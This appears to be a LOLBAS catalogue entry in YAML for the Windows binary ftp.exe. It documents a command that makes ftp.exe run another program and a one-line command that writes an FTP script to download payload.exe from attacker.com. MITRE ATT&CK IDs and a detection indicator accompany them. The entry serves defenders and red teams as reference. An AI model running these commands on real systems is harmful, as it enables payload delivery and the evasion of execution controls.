mirror of
https://github.com/LOLBAS-Project/LOLBAS
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aef4b06952
add a non-interactive one-line command to download arbitrary binary with ftp.exe excessively useful on Windows XP, & Windows Server 2003 where all other LOLBAS that allow download (certutils, bitsutils, etc.) don't exist and where powershell was not install by default.
43 lines
1.7 KiB
YAML
43 lines
1.7 KiB
YAML
---
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Name: Ftp.exe
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Description: A binary designed for connecting to FTP servers
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Author: 'Oddvar Moe'
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Created: '2018-12-10'
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Commands:
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- Command: echo !calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt
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Description: Executes the commands you put inside the text file.
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Usecase: Spawn new process using ftp.exe. Ftp.exe runs cmd /C YourCommand
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Category: Execute
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Privileges: User
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MitreID: T1218
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MitreLink: https://attack.mitre.org/wiki/Technique/T1218
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OperatingSystem: Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
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Description: Download
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Usecase: Spawn new process using ftp.exe. Ftp.exe downloads the binary.
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Category: Download
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Privileges: User
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MitreID: T1105
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MitreLink: https://attack.mitre.org/wiki/Technique/T1105
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OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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Full_Path:
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- Path: C:\Windows\System32\ftp.exe
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- Path: C:\Windows\SysWOW64\ftp.exe
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Code_Sample:
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- Code:
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Detection:
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- IOC: cmd /c as child process of ftp.exe
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Resources:
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- Link: https://twitter.com/0xAmit/status/1070063130636640256
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- Link: https://medium.com/@0xamit/lets-talk-about-security-research-discoveries-and-proper-discussion-etiquette-on-twitter-10f9be6d1939
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- Link: https://ss64.com/nt/ftp.html
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- Link: https://www.asafety.fr/vuln-exploit-poc/windows-dos-powershell-upload-de-fichier-en-ligne-de-commande-one-liner/
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Acknowledgement:
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- Person: Casey Smith
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Handle: '@subtee'
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- Person: BennyHusted
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Handle: ''
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- Person: Amit Serper
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Handle: '@0xAmit '
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---
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